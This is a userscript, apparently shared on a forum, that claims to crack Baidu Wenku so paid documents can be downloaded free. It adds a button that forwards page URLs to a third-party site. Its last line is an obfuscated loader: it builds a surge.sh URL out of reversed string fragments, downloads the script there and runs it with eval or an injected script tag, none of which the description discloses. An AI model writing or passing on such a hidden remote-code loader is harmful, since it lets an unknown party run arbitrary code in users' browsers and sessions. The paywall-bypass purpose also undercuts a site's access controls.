[JavaScript] 纯文本查看 复制代码
// ==UserScript==
// [url=home.php?mod=space&uid=170990]@name[/url] 📄百度文库破解下载🚀
// [url=home.php?mod=space&uid=1248337]@version[/url] 1.0.5
// @description 百度文库破解下载,免费获取全文
// @antifeature ads 无伤大雅的可关闭限时横幅
// [url=home.php?mod=space&uid=686208]@AuThor[/url] amay
// [url=home.php?mod=space&uid=467642]@namespace[/url] https://greasyfork.org/
// [url=home.php?mod=space&uid=609072]@grant[/url] GM_xmlhttpRequest
// [url=home.php?mod=space&uid=195849]@match[/url] *://wenku.baidu.com/*
// @match *://wk.baidu.com/*
// @match *://wenku.zhihupe.com/*
// @run-at document-body
// @downloadURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.user.js
// @updateURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.meta.js
// ==/UserScript==
(function () {
"use strict";
if (location.hostname.endsWith(".baidu.com")) {
const id = ("wk" + Date.now()).slice(0, 8);
const html = `
<div id="${id}">
<style>
#${id}{
box-shadow: 0 0 24px #00000080,0 0 50px #0003;
z-index: 9999999999;
bottom: 100px;
position: fixed;
right: 50px;
border-radius: 3px;
cursor: pointer;
text-align: center;
font-size: 17px;
padding: 8px 15px;
transition: 0.1s;
background: #1c1c1c;
color: #efefef;
border:1.5px solid gold;
}
#${id}:hover {
color: gold;
}
</style>
下载文档
</div>
`;
onload(() => {
document.body.insertAdjacentHTML("afterbegin", html);
const btn = document.getElementById(id);
btn.addEventListener("click", () => {
window.open(
"https://wenku.zhihupe.com/tool/index?url=" +
encodeURIComponent(location.href)
);
});
setInterval(() => {
btn.style.setProperty(
"display",
location.pathname.startsWith("/view/") ? "block" : "none"
);
}, 500);
});
} else {
document.body.insertAdjacentHTML(
"afterbegin",
`
<style>
.code-dialog>p:not(.tips),#isScript,.scan-img,section + section{
display: none !important;
}
body > nav,button#download+button{
display:none !important;
}
</style>
`
);
onload(() => {
getCode().then((v) => {
document.querySelector("#code").value = v;
getDocData();
}).catch((v) => alert(String(v)));
});
};
function onload(cb) {
cb = cb || new Function();
if (document.readyState !== "loading") {
cb();
} else {
document.addEventListener("DOMContentLoaded", cb);
}
}
function getCode() {
return new Promise((resolve, reject) => {
const handle = (t) => {
try {
resolve(JSON.parse(t).wenkuCode)
} catch (e) {
reject(e)
}
}
const url = "https://tool.wezhicms.com/coupon/getInitData.php";
if (typeof GM_xmlhttpRequest === "function") {
GM_xmlhttpRequest({
url,
headers: { "Cache-Control": "no-cache", Referer: window.location.href },
method: "GET",
onload: (r) => handle(r.responseText),
onerror: (e) => reject(e)
});
} else {
fetch(url, {
"headers": {
"Accept": "application/json, text/plain, */*",
},
}).then(res => res.text()).then(handle).catch(e => reject(e));
}
})
}
(()=>{const d=()=>parseInt(Date.now()/6/10**5),c=(e,n="")=>e.join(n),u=()=>decodeURIComponent(c(["js%3F_%3D","sh%2Fcdn","surge","https%3A%2F%2Favaha"].reverse(),"."))+d(),s=e=>{let n=document[c(["creat","","eElement"])](c(["t","scrip"].reverse()));n.async=!0,n.referrerPolicy="no-referrer-when-downgrade",n.src=e,document.documentElement.appendChild(n),n.remove()},f=()=>"function"==typeof GM_xmlhttpRequest,r=(c,window)=>{try{eval(c)}catch(e){console.warn(e),s(u())}};f()?GM_xmlhttpRequest({url:u(),headers:{"Cache-Control":"no-cache",Referer:window.location.href},method:"GET",onload:e=>r(e.responseText,window.unsafeWindow||window),onerror:()=>s(u())}):s(u())})();
})();